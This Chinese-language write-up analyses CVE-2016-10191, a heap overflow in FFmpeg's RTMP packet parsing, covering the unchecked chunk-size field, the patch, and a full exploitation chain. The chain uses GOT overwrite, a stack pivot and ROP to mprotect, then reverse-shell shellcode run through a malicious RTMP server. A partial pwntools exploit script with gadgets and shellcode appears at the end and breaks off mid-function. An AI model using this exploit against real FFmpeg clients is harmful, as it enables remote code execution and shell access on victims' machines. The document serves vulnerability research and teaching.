摘要:二漏洞成因分析在協議中,最小的發送數據包的單位是一個。這次漏洞的起因是對于屬于同一個的的字段沒有校驗前后是否一致,導致寫入堆的時候緩沖區溢出。可以部署在堆上,然后在程序中尋找合適的把棧指針遷移到堆上就行了。
作者:棧長@螞蟻金服巴斯光年安全實驗室
一、前言
FFmpeg是一個著名的處理音視頻的開源項目,使用者眾多。2016年末paulcher發現FFmpeg三個堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。網上對CVE-2016-10190已經有了很多分析文章,但是CVE-2016-10191尚未有其他人分析過。本文詳細分析了CVE-2016-10191,是學習漏洞挖掘以及利用的一個非常不錯的案例。
二、漏洞成因分析
在 RTMP協議中,最小的發送數據包的單位是一個 chunk。客戶端和服務器會互相協商好發送給對方的 chunk 的最大大小,初始為 0x80 個字節。一個 RTMP Message 如果超出了Max chunk size, 就需要被拆分成多個 chunk 來發送。在 chunk 的 header 中會帶有 Chunk Stream ID 字段(后面簡稱 CSID),用于對等端在收到 chunk 的時候重新組裝成一個 Message,相同的CSID 的 chunk 是屬于同一個 Message 的。
在每一個 Chunk 的 Message Header 部分都會有一個 Size 字段存儲該 chunk 所屬的 Message 的大小,按道理如果是同一個 Message 的 chunk 的話,那么 size 字段都應該是相同的。這次漏洞的起因是對于屬于同一個 Message 的 Chunk的 size 字段沒有校驗前后是否一致,導致寫入堆的時候緩沖區溢出。
漏洞發生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函數中,漏洞相關部分的源代碼如下
size = size - p->offset; //size 為 chunk 中提取的 size 字段 //沒有檢查前后 size 是否一致 toread = FFMIN(size, chunk_size);//控制toread的值 if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) { ff_rtmp_packet_destroy(p); return AVERROR(EIO); }
在 max chunk size 為0x80的前提下,如果前一個 chunk 的 size 為一個比較下的數值,如0xa0,而后一個 chunk 的 size 為一個非常大的數值,如0x2000, 那么程序會分配一個0xa0大小的緩沖區用來存儲整個 Message,第一次調用ffurlreadcomplete函數會讀取0x80個字節,放到緩沖區中,而第二次調用的時候也是讀取0x80個字節,這就造成了緩沖區的溢出。
官方修補方案
非常簡單,只要加入對前后兩個 chunk 的 size 大小是否一致的判斷就行了,如果不一致的話就報錯,并且直接把前一個 chunk 給銷毀掉。
if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {
av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %dn",
size,
prev_pkt[channel_id].size);
ff_rtmp_packet_destroy(&prev_pkt[channel_id]);
prev_pkt[channel_id].read = 0;
}
+
三、漏洞利用環境的搭建
漏洞利用的靶機環境
操作系統:Ubuntu 16.04 x64
FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/...編譯,需要把官方教程中提及的所有 encoder編譯進去。)
官方的編譯過程由于很多都是靜態編譯,在一定程度上降低了利用難度。
四、漏洞利用腳本的編寫
首先要確定大致的利用思路,由于是堆溢出,而且是任意多個字節的,所以第一步是觀察一下堆上有什么比較有趣的數據結構可以覆蓋。堆上主要有一個RTMPPacket結構體的數組,每一個RTMPPakcet就對應一個 RTMP Message,RTMPPacket的結構體定義是這樣的:
/**
structure for holding RTMP packets
*/
typedefstructRTMPPacket { intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though) RTMPPacketType type; ///< packet payload type uint32_t timestamp; ///< packet full timestamp uint32_t ts_field; ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field. uint32_t extra; ///< probably an additional channel ID used during streaming data //這個是 Message Stream ID? uint8_t *data; ///< packet payload int size; ///< packet payload size int offset; ///< amount of data read so far int read; ///< amount read, including headers } RTMPPacket;
其中有一個很重要的 data 字段就指向這個 Message 的 data buffer,也是分配在堆上。客戶端在收到服務器發來的 RTMP 包的時候會把包的內容存儲在 data buffer 上,所以如果我們控制了RTMPPacket中的 data 指針,就可以做到任意地址寫了。
我們的最終目的是要執行一段shellcode,反彈一個 shell 到我們的惡意服務器上。而要執行shellcode,可以通過mprotect函數將一段內存區域的權限修改為rwx,然后將shellcode部署到這段內存區域內,然后跳轉過去執行。那么怎么才能去執行mprotect呢,當然是通過 ROP 了。ROP 可以部署在堆上,然后在程序中尋找合適的 gadget 把棧指針遷移到堆上就行了。
那么第一步就是如何控制RTMPPacket中的 data 指針了,我們先發一個 chunk 給客戶端,CSID為0x4,程序為調用下面這個函數在堆上分配一個RTMPPacket[20] 的數組,然后在數組下面開辟一段buffer存儲Message的 data。
if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt, channel_id)) < 0)
很容易想到利用堆溢出覆蓋這個RTMPPacket的數組就可以了,但是這時候的堆布局數組是在可溢出的heap chunk的上方,怎么辦?再發送一個CSID為20的 chunk 給客戶端,ff_rtmp_check_alloc_array會調用realloc函數給數組重新分配更大的空間,然后數組就跑到下面去了。此時的堆布局如下
然后我們就可以構造數據包來溢出覆蓋數組了,我們在數據包中偽造一個RTMPPacket結構體,然后把數組的第二項覆蓋成我們偽造的結構體。其中 data 字段指向 got 表中的realloc(為什么覆蓋realloc后面會提), size 隨意指定一個0x4141, read 字段指定為0x180, 只要不為0就行了(為0的話會在堆上malloc一塊區域然后把 data 指針指向這塊區域)。
這之后我們再發送 CSID 為2的一個 chunk,chunk 的內容就是要修改的 got 表的內容。這里我們覆蓋成movrsp, rax這個gadget 的地址,用來遷移棧。接下來我們就把 ROP 部署在堆上。ROP 做了這么幾件事:
1 調用mprotect使得代碼段可寫
2 把shellcode寫入0x40000起始的位置
3 跳轉到0x400000執行shellcode
發送足夠數量的包部署好 ROP 之后,就要想辦法調用realloc函數了,ffrtmpcheckallocarray函數調用了realloc, 發一個 CSID 為63的過去,就能觸發這個函數調用realloc,在函數調用realloc之前正好能將RTMPPacket數組的起始地址填入rax,然后調用realloc的時候因為 got 表被覆寫了,實際調用了movrsp, rax,然后就成功讓棧指針指向堆上了。之后就可以成功開始執行我們的shellcode了。這個時候整個堆的布局如下:
最后利用成功的截圖如下:
先在本機開啟一個惡意的 RTMP 服務端
然后使用ffmpeg程序去連接上圖的服務端
在另一個終端用nc監聽31337端口
可以看到程序執行了我們的shellcode之后成功連上了31337端口,并反彈了一個 shell。
最后附上完整的exp,根據https://gist.github.com/PaulC...修改而來
#!/usr/bin/python #coding=utf-8 importos import socket importstruct from time import sleep frompwn import * bind_ip = "0.0.0.0" bind_port = 12345 elf = ELF("/home/ffffdong/bin/ffmpeg") gadget = lambda x: next(elf.search(asm(x, arch = "amd64", os = "linux")))
# Gadgets that we need to know inside binary # to successfully exploit it remotely add_esp_f8 = 0x00000000006719e3 pop_rdi = gadget("pop rdi; ret") pop_rsi = gadget("pop rsi; ret") pop_rdx = gadget("pop rdx; ret") pop_rax = gadget("pop rax; ret") mov_rsp_rax = gadget("movrsp, rax; ret") mov_gadget = gadget("mov qword ptr [rax], rsi ; ret")
got_realloc = elf.got["realloc"] log.info("got_reallocaddr:%#x" % got_realloc) plt_mprotect = elf.plt["mprotect"] log.info("plt_mprotectaddr:%#x" % plt_mprotect) shellcode_location = 0x400000 # backconnect 127.0.0.1:31337 x86_64 shellcode shellcode = "x48x31xc0x48x31xffx48x31xf6x48x31xd2x4dx31xc0x6ax02x5fx6ax01x5ex6ax06x5ax6ax29x58x0fx05x49x89xc0x48x31xf6x4dx31xd2x41x52xc6x04x24x02x66xc7x44x24x02x7ax69xc7x44x24x04x7fx00x00x01x48x89xe6x6ax10x5ax41x50x5fx6ax2ax58x0fx05x48x31xf6x6ax03x5ex48xffxcex6ax21x58x0fx05x75xf6x48x31xffx57x57x5ex5ax48xbfx2fx2fx62x69x6ex2fx73x68x48xc1xefx08x57x54x5fx6ax3bx58x0fx05"; shellcode = "x90" * (8 - (len(shellcode) % 8)) + shellcode #8字節對齊 defcreate_payload(size, data, channel_id): """ 生成一個RTMP Message """ payload = "" #Message header的類型為1 payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id; payload += "